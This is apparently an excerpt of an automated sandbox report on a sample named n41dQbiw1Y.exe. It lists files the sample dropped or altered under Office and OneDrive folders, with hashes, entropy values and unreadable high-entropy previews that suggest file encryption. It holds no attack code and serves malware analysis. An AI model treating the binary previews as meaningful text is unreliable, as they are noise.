Preview:	.<?...u...JA..y..g......'.Gk....F..z.u."M.n./.....Nk.O...vf..}...y. \|.t.>..5..-.0.l9A...7.v.....(.:.<....T..s.r..N...7..0...`...z..8.s....B@....W....2...0...7.7..<..h!OxZNG.v< ..M..u.7..t...~.2O...PwX....:q..'1......".:s..9j.+Y.....2....j1..f);[..]R.Z?@.!A.R.....z.o...R.u....A..^....]........H<.Q.,:ruH..&....i.bW...A......#X.......< .[.. .=...<'...\|..jtTV.@....]...vy..:)...G.....p.T.....<....[.....w.I.\.lG..9...lRr.F.M0P.,......:.R.O..h.UUQ...Q.....+..j..{K....G.oea{E..>....+cB....,<.........4.Qq..._..`p1.`~...1............0.P;qT.)@#...2I.WL..%l..J......... 4}.... ...lLO..1..4.J..3.h.D#9..(0r.@...g....1...K..L.\|.;V\9.1aY1....Xg..o,..b..G..w..G.w..4.P.......>.~>.<..8..........(E'h....~N..$we.H...lH......!....6.#I3>..5..`.....\./*A...w)-MP,...y.l...^..%...%HK2..5..Z.:.T....\|..o...h...L...&Z.f....KD.0..2.o.>.:.I...D'..I@._\......]>?..HLy]. ...R....=.v.9F.....bB..y.))p1k.~..A.{.uZ..n.t..3........kC[/l&.a+....I...a.H....S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.872866645785957
Encrypted:	false
SSDEEP:	48:bqekYpGsgcLa8RdaxGUDpXR3pjb/LbTyIGiLp0pPpKihbD:lZgcbaw2pXBxvbeIGi10eiF
MD5:	E761E139C5FB40BE578AB0773E24FABD
SHA1:	38FD3BA935066DF22D1342737C07730C5054D67C
SHA-256:	43B0EA539D5797D25B97AB85076411CCE4FB851676B60A4B8E227E0C7C5A6BC5
SHA-512:	8CBE5766C91AC3DC34E526189D7D6E511FD16C73EB4FA9E060A71956B62808C40EF0DCD99E7B320DA8FB2D8E30BD362B1F13FB85BF87CAA88C1748E0557F4D67
Malicious:	false
Preview:	.<?joG...Xy.S.V.Z39...Z.A)."#.`...6....d.t.{>....zC..1...I+].F-..{...z....m..:T.ct.,.A]..'x...?..(.mU..d..j._.U..r.zQ.y...2..)3&..._0.4j..0...".....+....w.:.^.Q..$@\|..v6l._......t20.[...56A{Z..nU=b;:....eR.Eh/...W....0..g..v#%.......i.....7..<g..V....._.t...B.....k...^\|.`'.4...v.:..^.T^./....).OzGcd.....L..qw..U......J..:ghX.>.9......g.v.^X. ...`Y.H1......(.B..x3.D.........Zk.a.'HM.....T....?]6.....n.......I.J.....ETLjH.//....Q.^[.@.W.....7...`-...._.Fc.v..G......i.N #..=....r.z#T..g.....N.w..Yb.H8..\|.1. ....l%.q.X...2.@....4.\|..0..N.D..~. 9G.M.a0..B;F....:...4..D~M.s...P7.]..I..,..H2........[..p.N..uN.....t...P\.r..yj..^.?.:...t....c.H..X....U'].]....-{d."..m....d.)..J...`...............+...X.l.K..F...:6._vB}f..G.E...=a..l._YlD^.r...r..`..'.k22e. Q<.r...b..3b..O_....m....X. ......Lv8..\.s...&..z$u.+4.......M..3..Z......"\|F..t.z..$.4......e....z....f..\#c...<G.X/.....Z../..{<..i.... .M....u...5.F=kd.7...E .{...4....q.x....z.$...k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.896329259661071
Encrypted:	false
SSDEEP:	24:oNnIL4R7OOYNXy4XHGAMNm+q0RPsyZnjTPkhCu+LyVvywLiMHQt04GOjy/WqiTHl:oWLBNi43cJnEyjbkUEvyVWfWqiTHdD
MD5:	8CAA8A753ADFBE9E2D7744CDD9E04234
SHA1:	FF936295073596D0F1AAD6327022E715836CB909
SHA-256:	9D23C5BBD5B94DA216881936412E8516899872D7F22B8A92E29C0677A45A96C4
SHA-512:	8C58D7E637589AE3981A200017D1605EF0645390540B7571E98E119ACF2292E9D69BACF1A92FDC81C138B3DDDC817BF8A0FF6534F938352B60E64B84E7263A4B
Malicious:	false
Preview:	.<?a.T.o.Q+.}..w.P..P$.3..~Q.bz.Z.k...P(k..iX<.[_...+YM.\|.c..%.W......j.6..@.:.hi..%....CB..!...V..s.9...p..p..wY.$.3.....n.twy...'.Qgw...e}t_ZY.~Q..R.[!.y.Cp..t..=1...k.....>~...6.!.7...v6..C8c..cDS1......Y_.....O....g...7..v......W../.q...z3...j(.i..../....f;...i......z..fd.H;..6E.~B......j...:....D.'..C........^(.j^...p.\uH.....D.T5.}V.N...060C.s..j%..........6....HAL.O..........-...]....{m..wm!\.)...C..h...Bt.z.#w....{w...Z..s.p..z.v/.....to7..Y...c....dUb...O..._.....1.C..:K>.^....;{..i..P...aD.+.[..AR.`xq.Q.~...+ ..l.zab..@........x.P&t...9.K..N...`..f....5.D..........u.<..Y5.2..<.'....T.......LAZ...)..le...[J O.ls!8.9..]..zh..q....L...-.e.(.....n.'........b.<..."vu....`....6)...Oz. ..c..C-[-^...Q...Q....gt....]..Y..`I".......gy.j....N8..1.H.g..AK.+).}.........\...X..m..".1..h..;.Z.......). Enk.A..7>...zJK.K.RX.....l`M...%._..W...C.{...^...\|.-..H....o..h...._...f...(@............z..0...3.+.....U..\.#....N..3.....A@......+.S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.874311736653134
Encrypted:	false
SSDEEP:	48:aJ7cyeoZAQl+queIMpV7CDnZZ6/c+91Ay7fDXSjaD:8koKQlseZ37CV0tXDiy
MD5:	4222EE9A951251B66E3AF8F2723C8B46
SHA1:	9B1620258F19F93665B61367ED18606CDBB3F081
SHA-256:	7CE5C72AB4C41F8BFEE85F4A0D65C00382BD000AA760360D67E1ED6AF833A9ED
SHA-512:	9712A27353B70BEFDF187C821821D9728C2A6797BCDB79A98C00690218CC8C475715166983171A09247FD134EF2CB734438D5293B6D2466F5B383573C5576ED5
Malicious:	false
Preview:	.<?s.....I.....o.(..\..a.. .e...b.q.8......I.8.w..\|.....0...#..R!.jL..1.....38uB..e.....m...C......W.D#!p..G:..31....T.V..t........Q..jI,..)....f.4r....}.Y....#f...x...-......1.+x..\|...r,...+[V._.....6..F....%.....l..os.....u.y7I..\|....Q..5T#..B..&........PI.[.............}.)\....}WW.kCjA\|^...j...N.'..y. .:6G..Y..m!2U2^_.I....M..$ZB.p.]+......vl....m..;/..U..\....79....-..~.!'......s......C.8^..x...OK'2.e..:..8.k...v..M%&;....y\|.6..F2..~S...n.;}.X.Tb..+f.G.#.x.3C@t].79.ql4....\.[X...,i60&(...i.T.......H.&.}..EgA.2<.....I_o)A..H........m..e...FS6:..Q...#r.S.@..5n.3.uI<.w....<X.....Q\T.?.x.H...9.g3.(..5.+........N.&Nrf~9...m.T../....z.../..._4..7F.M. .Z.@.h.%s<1..({..c0...G......../W..e....m..QwaM.B.0V...9......m.T..U.....3}..)..x..$.h..........z&..a7d.n...-o.eT.Atj`. ..G...b:.;.{..t{T[bJ.x....x.<..SEE.6..y..........6...*.V...'n5.qC...(.rU.b7.yi.~.] .N\|..W8w.....G?]0<.e..{."....3'.v......j....u.k.!8D.}.....0.T.ph....w..V...^..<.. +..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.877941245892759
Encrypted:	false
SSDEEP:	24:SRj174qP3fAzL5M1jm9WioYBxweoafreFLX8Wr/iIY0ZhYG6fqTPcv8sxdnbD:At+tM1a/pBeifrOLXyS6JQ07TbD
MD5:	9BA53C96BC782E467172867EEE572D43
SHA1:	D2C4FB58150609228912F0D8B2F03257E17DB833
SHA-256:	887D62CF7537666A69A722C9E10D081101BE8657D7E47050ECFAC8FA3B3145DF
SHA-512:	52E9B062A7C1578F65563F99675B794FCE665FD2A8114A493DE3B534B85486A0B790ADFED5F5CBF028DEC93A36E688147429D03BA61CA2E5CF72DC5762EED8EC
Malicious:	false
Preview:	.<?a.....s.U.-.G+=.\..wb&"...c...3.-z.2p^..aJ..N.We.Oe..$>.D.Ju.1b..!d~.....P.\\........^.j]..2.........;T.S.93Zh...0Q.n..U(>.k;t.1-.&xa...2#.<..OP..Z\ac3....Y.s$o..Si/S.CC...F..[.A..s......9.....fS..RR..8..)&..n...$Z.He..g.@.f0.....M.zU.x.p...o.;{....I... ..s.D[.M2.<)... .e.J.......Y..Fs......l..CuFwG....n....!bkv.z....E.P....!...Do.."..9..cUy.`G......[....$....H-...5.b7.5Y..B6i....jQD.....2R.....p..k.....!.......Pi.Z.V.!H........9d...,DK2~h.E.?..z....0/ `.qEEz..U..n\|pf(...~7\|........x...o}^..B....H...B.Wv.E.1....c...zG..`...G.j.....u..83.zo%)U.@.....:.......Ra.x.H.H..C..K<....P.D......+T.. .........:P.......t..........J.\|7.JJ\|.F...9.r]C....N....(w.P.g..zw..9V.d.....^..8.y.[..%..Ll..=.h....I.0;.%Z5..9.......M]qmOX.....SVP.69..........................._..rS8y.i..1...t..2\|>.n...HL.....O.P.._.0.x.....\\|.>X...mf...x[..3.r.b..........c....?.:.'..N.Sk..2...Y..j.(..C}....l..B..E...n.3..=...X;.j.$k...1.&.eGX.._{..`....\.e.........5P.YIs7.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.89815421068555
Encrypted:	false
SSDEEP:	48:U1+EqEOCRqw+9iFmQxVjxETcNLpF09Vi8hwD:U1PKOqX9iFmsV9ucO9VDe
MD5:	5E08758319D91DAF891F7686448E2006
SHA1:	6E207A151CD91D9B0FE79A51DA156421A1A04B06
SHA-256:	CE094FB8206D6BB16C09D65C7991922CF8FC0851F771B8DA6D3EE6FCE04D9CC9
SHA-512:	24A9A19CE16F0C60E5B9F15086F986371A244C32420D632263D10FA14C8600DCBA98B97E786BC211D004F2CE245ADEDA89B7805DA54AE6A6E25C19829B2A7066
Malicious:	false
Preview:	.<?v....Y.g#..JE.....5.f.h'3..=:...$Ja...d6^.....6.Q.M4.^.Z..JXj..fR....k.\|e.K.q.\.......I...E)............^..t...u.J..B..v..........).u..>0.}Z".S(....d....Jc<...T.?...5.m......LV`..A.=...0..C.p.FX..?@..+.._......q......Iq..F....8...&..lU8......Xu.]o1.~.'.......td.......IGi.$.HZ\|]...&......8u.+.].....6.mmnv.}....p.]..et.sM@.XD.q.K..).g-#..9B..;-fHo0..G.y..7.$.')./......@.P..:..@?8a:-...&o.^8d].._.....t...5N..U8...%...9n.v..p.7=.I..x...~.YYY......K.AV.;Z..-.oD.Z...U`...j0...G.O>B..U.]....\;..?.%......{........t.\|.jgy,.JK.....Z&=.W#.E(G..).J..=S.d.......1..U!..wk...C..c2......#..U..D...^{P...'.t.9.Eb.\|.i...3N..R.Y..X...I.Z.a.%...pW.=q..JC...I.L{GB..k.....w.>..U."..12..yb..Ysn>.\|.6........g..A+3('l......{@...?}.E.^.9Z..1.T2.Y..e...:+.AH..+...d@...Z.>.OP.....hf......k!WF[..."..:m..:J.G.;..g...z#.o0p..........G....0...X.k.0.~.+.m....)`.-.........Qf..T6gR.!X..?.....Qm..mN.........r.+...L.&..B.L..V!...S.F..^.>aR.....D.!/.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8599820596543575
Encrypted:	false
SSDEEP:	48:8P106iaXShm+MwF0DRQN8fCGdeyoyTnWD:+ChmDwFufpdedyq
MD5:	A767E401E728D1B3F0FC4EA9B24DCFF5
SHA1:	F0117F683B3D577F70E8B41E721F6DACBBF17C78
SHA-256:	4BB3C01AA280554825FE03B085D695C99F65495D1C2A9359A11EEEEB6D6FA37F
SHA-512:	99166655B7AB348675923A74F078DA02C577F6F25E31338A2FC8CE0C816FF69194489184EC73A7471C172A6A20486DC3F18097EC4228BE134B50AD3AB0F4CE11
Malicious:	false
Preview:	.<?..h.g2..%o5J..~.0.....;?......"..e.C}.m..t0...6.....%s.e.f..y..7v..l...C).......-.EDR...$.TZ.........W.e9..L9x.8.n~..h$..+....PZL.T.i..Z...p3#..=..bi%...E..6...^z..D.!...G(T.o...#.>...+.D../...e...BuI...\.>.Q..N.U.....y.7..9.^...d...J.1..-..0;iDB.._.3.$!......p...W.....M.5......j..D.;#.4..P..Y.6....}Zv.g.......e...U.......2..+.P..X...=.:..w.P.-.....X...vSN..q.^.)..m..=-......y.Q....... ...8^.....t...YQ..w.#.......:.e.9H.....u...v.t...V.o.-..3...O.EN..m....5..\.80....h.m...!....:.........w......7....g..k..4.$..r+.h+..-./ln.)p..<K$...2t.._...:...._.h....k(L...Z....\....&.e.@r..(.IF).s...f...po. ......j.....!..'...%.......z..m;3Z;.{...&....._6..Q.F...o.o.N..1.D..}.J..y.b......i...f...5.....a).B........G..G......1C6...?=..mprn.HL......Z....^...)...S..7...<y.0..e...Abnz3...J0...n...U.}.+......S1l..m.j.YMM7........)...FN~~.d.0.B]........9N.(.....&..0z.G..j..M.-f.kq2_si-....+'.{j4.t...p..0$.....R^(f..l.0.....}..P....._d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.873943543882274
Encrypted:	false
SSDEEP:	48:QXIDYcI2b5tbGEF/anH6VY9Nhbu/NZ9HA2FD:QXKYcI+5tEaVWq/9HT9
MD5:	7BEC09E4405CEF7C05DE2052A63A7FE6
SHA1:	CC73469088C24F885976B81B05C32D6FF5194D2D
SHA-256:	13E4CBE2FC6B49026B8D4BAC12BD920EEBEA135FCC638C2DCC3AC3241441E4DF
SHA-512:	417610D40218FD9B7DA9BE2C87C8B086F372ECAECEC3D56B38C016FA7590938213D830AD0CF32F7368E5F894FDFD758AAFEC522ABF9F664B233DD108B26481BC
Malicious:	false
Preview:	.<?..8...{..}.%.M.N.S.". `..u:J\|.g;B..V..h..(+N....i1rwl. .`..S..X.VW.k.F.'5t..t..}.....J..+.y.........L.......o.-IP....DK......w....w......:..7.../...n..8...y.4.M....\|5ZO..e.........K.u.P$eP..........nXv.....;Z[X{...\|.)......aSN....W.......O4J..I...D....i.36.......3H.}}...../.9....\q..9..0S...R\$^.......&...........4C.%...&.._: .0.....g...XlR...o2F.<...'j_W..-.k..(....nM\\|~....Q\.E.9....&@\.1..t...9.{.im .....=...A.....Yn.R..9.Gl.......$.* .sV(.=.gI2.....CP..d..?.......().<e......K.V.;..\..u......./..g.........>Y.......qN..g......j...-C;v.;........`....i..........;.....~).Z...>.H...;.DU....I..]w)]..r.r .2..Y..x. x...%.:@....z..h.d....1.........O~..s.v...J.m...}.....4...~,..E.x....f...K.M..'...L..%>..9....`...\.z...=...@.......vd..W.+...e.:M.wb...oI..}......~^...6E..G..%...../F.^......rE........R..vC.d+...h....=.T.K.d.A...)n.M.,4.... ..; 2.d.I-%.-.C././){y.-.".&.....tq....V..ruzfD`-.x.j.A4"?D4..s/Y.B.....M.......9.J..hW*..z.`...G..j.H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.873466004654897
Encrypted:	false
SSDEEP:	48:puCUpqFHyejn0YZWr0yR8/Qu9vNU2FxRc+3Md6758pWYeBmTqn4FD:pHFHyooQz/fvNU2dj3rV8pWYwQ
MD5:	35B10830057CB98F18B9A6180C2A5DBF
SHA1:	66F2E20015AF94E804185BE7ED6C3582E33BBB8A
SHA-256:	2B91D7A84C13DD30D0D319D8EE5F7F160D1BCB215DBC3FA424340664F0A3EE35
SHA-512:	7BB2B1D3C740F5A6221C25AFBC28488E6DC64C22C29916DA196EA148CB81C67E12C27A793BD2E406663DEF076136CEC7FA11CBCA6CEEF677FE0C286C9C136F99
Malicious:	false
Preview:	.<?...<.j~.Mi....T.t{...?m.c.g<z....a6.nF..g.\.T.`...W.X.....):...f.Ho..!.-...N...%86#....x5B...3l].>`s3`.c...6m4d.....6....6.{...e.}`....%ejj..c.v.~......"ed-.4.\.?Yz...B.....b....V.5.../.....6.w...W5....^!.&0...wYn4vtC..W_.Cn..O.D.3.F........~....N..o.4...Tb.v.....P.>..<........+~......U....?r.....G..Oz_.".........m..A..XH@......l....T.U....M......e.@...`.....Z.....o...N.Y.X.ag...zY.].1..>.e....X@IN!_CP.......TA=.u.WX...4D.(u8=....^S..`1.......s...p.".......d...r..9~EQ..W.....X..yxo..b......Z..!..w.Md)P\.)........2..W..I.,.@.."Pc...C.L.,.........^.../:Ex.<..Tc....."M......y..@.h..A...... .j.8[.k.......}....w......c..Sl[p.A..e.m&..G...Ca......L..=....W...\|...#.CO...\..-....8.GO..)G...C.5t.x.4s...\|.,.G.X'6...Xq.\|.....PU......T..Uzl......b.@..v.7..A.O$.K.e..)\......P[..?8o.9 .."q~ts.(.d..(.^...'\c....B V..\...<.q...8.....7,C.v..w...b[..z2d..c>.K....tW....^.O..K.Y"...s.............4.g..>....\...>...b[op............d..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.884450625160734
Encrypted:	false
SSDEEP:	48:PQkOxVlQvb3eAVRKoa3rJhM14qhS+9XJSbXRqD:IbfkbOA6B3Q14MvmU
MD5:	3CC0E458F96523F73710454BF40DABE9
SHA1:	B69946E99CC172A323BD4139EAF6D3ED473EC8AF
SHA-256:	50EAE5E4E2BC0AF5FB094DE6C235365E5B57ADE8B312DC43A9331918EBF819A3
SHA-512:	9C8612B98E63A863D5AA52A6E6C43A4991BFDF76B949D23D0E5A45C8540A3E89371F5B8C68874B940CD4A5AFFF603FA3889129C5C367F972089D56EA5A869EB1
Malicious:	false
Preview:	.<?@.....7....6v.."..j8.N.dIW..<OF...O7.&...H..8JI.A.....:E?;.6U.xd..v.7.....pv..1.N..fJ8b..e.........R72/..!.p+...\|.hD.3.AF!`.........D...A.\..p.:.q...ZbXi-....9.6.....1..R.V.zZ...\.....B?..%.pvm...',/......\.....+.....7V.)={B'..w...d..qY]..r.w.m......j.%..L.\..-..."ez..([..-.c...(....r.W.K..yW.?....z.I[\|%C@..\.....e...M%...q.lQ...e.).l6L....f....R...{. Ge......t...W..5LE.b=Q6e..%.=...;..3...cU..S ...#.E.x..cX.!@..O\|oq....M......e.#..0...="!.L.{.. ...MT&.......q..'......7....Qec..9.E.s.2.3l.aE(.Hp.6A.>S.I..r_K.z. i..n..?M#._!.. .N..N....b.#.lvha..<..k.....}..@.....si.z..r.l......e..'r..H].7Q..Pa...H9........N.;......N.K.L....dk......7t...hN..p.......\.\|'({6.......8...3&.....`U......t..X...E..?(.g...:..\|..M..)c%.H.....-.$%Z D..].....>.U.J.o.....dr.(.EI...,.c.Ap.4.6)) k.....M.U..4..`x.......+.....j.w..E.Nhr...q.b.k::...$./k,T.*0ib.........J>u^g.5?4..L_.~f...........;.\|z#..\.'....$7..G....B....Y..!.h9J....L@..V...{\........6?...T#.yz..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.893915708445555
Encrypted:	false
SSDEEP:	48:NWK/vJzPEO5ubuhXwOe8HcX+c5ZG5A1D5rpfD:NPJuEwOepjHR
MD5:	2FC4E65BD3421544D2ADFB789E99AEE9
SHA1:	37601E11195522ED4341B5AD9C3D9A0B5D63553A
SHA-256:	39C2B78DDA29F5EDDC219BA197FB9F1C55CE9FC4C29D4007D5220FB2048DDD7E
SHA-512:	8B76B2E33D5822326285E5AB730F5003E33FB12E296E55AD3F8A9525D1804DFB84396EAF40DABC0AAA35B95C0BC93629EFD2FB704EB541E0A46599116F5E954B
Malicious:	false
Preview:	.<?.S...D.hU...#5..V.....P5Zq..hA....._.....ej..&.Uiw..k}.%..a..C....-.+f3.g....'w6H.1.h.Z._..].m}H...tUw./.].N<3..6M..6o.\|..u.&..l.T.!..R.....J...;.)....ur....7..T.w\T.g.\|.@..<{....#.l....v.+.8%....^.#..(FT...kc.49m.>6.`dO.}5...M."....M.-..6.m.i..s...2...a.7k+.....r...j.....l!..8+..37!(z....[......-:..s+..47....F.L9.u\?.I..x.D....<.7.......81.q!..zkA...7.w..].[.z.Ij$.[....8..5}..... 7r,......rk.zG...:~u<...2]d..B.h.7.:0..(...N.X./.W............>'....t..c....D.i..x2...Yd[.Z..b..L.d..R&M...t~.....nv..V^...x.Z.......<..4...>j....$..D.8W...f.......U..mt.W.x.e$....3..&.....&.q.`...z.P.7.&N.....D...L..\.q..i.+.....q.......r.'.O...).9..r.....T6...r.z.W[.U.uf....dT..K....X..wY...H....WMk....?..Z6.Eiq.@......qt.W_Q.c..{..........m.r.m\n.+b...Y...%.Q........2IZ..........yI.....9).K..PZ#.s..;...H.X.... .kM!....0y....jR..zu^..yZ...........fn..b...~..;.U9.....4.`.@.,....P..$.$]3.#.^.G\|.IC.Z........%...c.W.....~..g`S.K.....+...........i<%..g.f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.9001791577089095
Encrypted:	false
SSDEEP:	48:ObbyN/JVV27be2vDN+ydEMRS4ODHOj8nAn2IjCohD:ObM/t27a2EMIHFc2IjCoJ
MD5:	8ACEA1839C00EF2146EE1672C7DCC882
SHA1:	0E7BC420F35E27E8758DF02A29D1298E9C0E7DD1
SHA-256:	29AF07F9FFA3572B017B207A488385931CA2AC17590639BE5560B5581842FCF9
SHA-512:	B3495100BB54BF95D62047DCFFF6C055AED45AB8ABA15B17A48697DF87F72C48662D980ECF22ED459721A48ECCBAFE482520B2B026B3A1DAB8E1A2F84E2953F5
Malicious:	false
Preview:	.<?\|.{...Jm.E.oh..%!'.....}......8..R.t..y....xs.<V...x5.V..59.y.K..{@.N@B...@.....(rjR.._..7C.h.x........O.~......t...]{..i.{.^..3.....O...0..V..S6........<.=.....4T..bJ..z..n...F....i....6t.}...R.!...+....hb&]C.'.F..n.....}=..._...,..8.h..r\.PQ....&.[.............w......-..s.....;.'..`k.!...J..U..5F.k.$......9g...........h....j........u.......W\|..`A.8.Qd.J...v;......n..a....4pJ.N.x,.^...z.../..a......I.m>\(..A..\|t...q..^.S..z.YZl..O..T)...n.%.\.c(7g.9G-.#...&.+k.....#.B.u$q....f.. ...@....F.7.H...y.oU8^.jh..m...50.]...1.....Do..%...F..8ZB_hJ.]...R.~....JO.< ..Y....C.n..C@L%.>....7......T...$v.9..c.. .!-...,.t....^.8j]@..>N..)..L...$.e..L..2....vt..ur#..I..2W....O....9..0.y......Fm.....c...kM..b..............%..K.....Y..Z5.%$.....vCo.Q.iUZWZY.....f...W=...U:....}./`...(q..K$.mw&F.;5w...F..4..$...Yn.;;i...XV.]..R.....z.......FP.g.i'.2....?....oS..E+.........W....W....4..W......c/.r...\|.......+k.T.E`....#.9G..s..%/.l..z. ..vl...#eI8Nb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.886045649644274
Encrypted:	false
SSDEEP:	48:YRpjlZchfQC7QNKV2qSfY+NvKegl4YNVOBD:YFZoQAeKVVGtQegl4eOp
MD5:	E8C9262E9FDC35A5FA6EF279F04B6A13
SHA1:	ADC4B3495EBEBBF6459CD9DA5B4703087AE98652
SHA-256:	9E3A49CAAC75EF5DB5D0742E3841964E12CA8E7574014FDD09226CC78BF38A7E
SHA-512:	1A2CA7A4BF5C8B36E565BFFA7C5CAD1F00D8DED4B0EDFECDA63C9A43B6617D106A9FEC329B8212CDD7303128630A0E7BB318D4DC0DE845F3E543307F4037A5FD
Malicious:	false
Preview:	<?xmlC...D$(&k.~.....q0....,(..s.T..hK.#6..U..$....l...L...W.>;.Y.!.A"\|.4.!j.{&._...x..'..h...&...e...R.>.....l...5"...f..../....p.1.2b..{r.yG..nAf...{.5.....A....U.>q.@T{...-...7..%....b..8j..'H..=:.6.A2....e..V...7.W;..y...Q@&Q....j.3~..L1gfJ.[O/.q..3L4.."F........=.8....S..b.....}......?z.....F.&,a.w...........H....ws.Qg....)...9....;..}...{...j...~..JKR\...k..!.........].}.....):.D....6...D..D.N...R..6{...l.C^X.......O$.&OaO.fX.T....IhK=.@..(w..uv.K.'.}\L;.?}.S!...jL..F...9.3...5.@'.d.'j..Wm...WA..~.'Yw..S......l.....4.."@.a.T...k..!.P.Z..y...pg}.....wWY.ew+VL....R...M..p..H..`2Z..R.m9`.f..1...f."'..G.......\.F=wY....1.5X.Y...."f8..q..U..i.tC.^;P;g@.......].....}.....]..Z.....&.._j...W..D.+.6+...<..7.q.....5..[g..7`.?..v=......E)=..1!}6B/..M...b5......O...u.... ..b.3.)..b..i...H...-.0`..+..e]k.C....@.f..Z.....\|y..{.b.0.M..,.a.U.L.yD.V.."...%...$d..^.!*.qI3.C...a......&.y.).8..+.:f.6...Y.Q/.J7.S\|.S.......~.I.X.[{.C[T..eG..F.f...\|.@..

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7043276266108859
Encrypted:	false
SSDEEP:	96:DfHEwC6tlp8psCSFAlJKDSqrPxfG+cnXw395/:DvEwC6tL8OuJQhG+cg95
MD5:	8620D6265C48F58966B1512FF6D4BA7A
SHA1:	B84C3B63B0FE9B75AE38CF2DF9E44FFBDEF98724
SHA-256:	700CA204A93A0CA308F08F6AF81D1286470CE3E5282F09AC914835D30EFA28A6
SHA-512:	78601E476E075BEC0CF72A05EA0DBC8B075CE5ED1F76AE36102C6621090B9211A21B5FA3693E3A27B2C835C21A8C33BE828C893F159EFA535612075B64C32674
Malicious:	false
Preview:	EBFGO&.l....A.G...I....YM.9SX.....%...t.].....=.k7.......(.~.!......;.".?.Q.vdddg=...a.G.#..3Hy......,q..\|K...0b.....7]...z..~mi..l...6w..3..P).%k.M8D.......{.H..t.2.^.....j..'..ES..<.s...0...2-NF@..h.sM.~&.6>.\|..7<.WJ.8-WE..}g#.W.Cr...pT.^^C7.....O..!,5.U.a...8.^<.Cy]=.........\1..>-...:x8....1..<Rym.A.....F.....kO...Vo....B..U...9L.Wf..e...g......(h.a.ur......[....[.7&..&.......yT......H.jZ.\.....l...m1s...3I..4=1..=..a....@-k=.T.=tV._...,..8r}.[7\|..".c7w......@....P..V.[.8+.G#8....4t...C..T..J...b.0G.A...`2.i~~:.A.i#..X....OhlC..3..............N..e.....G.V..p.$b....e\..m.....Ox..1J.^.S.Z.i....d.....+.Ow...&5...I._J..wL.o.ep~....ThW.^..6<.M.s...zD.,[.T.....`.j.....ciW.........R;Xu...j."....O"W.......n.R.R%b..h..d..).(.g._CN.$\|:.....(:.(.C.;" ...@)\..Gj..QX...[3..8..M.gv...J`.s...78..1.........a.....si.1....^....u.!..('G...>.f.P=F.Z..W....1.%..zr.?...\|.m.L....k\ .}G..6o...y....S....%..R........[i.....1R.....M..9....S.._.j.-....L[

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7687610824545118
Encrypted:	false
SSDEEP:	96:pflstRVro3nxImIoot1pvYkXMiBLPVMKJ+tAK6AR:zstRVchIootzL9k
MD5:	661C8517413664D6AB23C603A5B65725
SHA1:	83164857D6DA7705871D61EA5D1976DD1DF93443
SHA-256:	0564C5DB34DA2B3D4E460655CB56E0C738D1C08356169EEA86050873F7F04BB1
SHA-512:	5DE429523DE1A39C29767C41A9DAE1F0D200BE7D01D15B89CDBC9B94C84020703E80530FE7C54CDDCBD63AEE05D49733A1259E992BA56F37BA04B485BB31D468
Malicious:	false
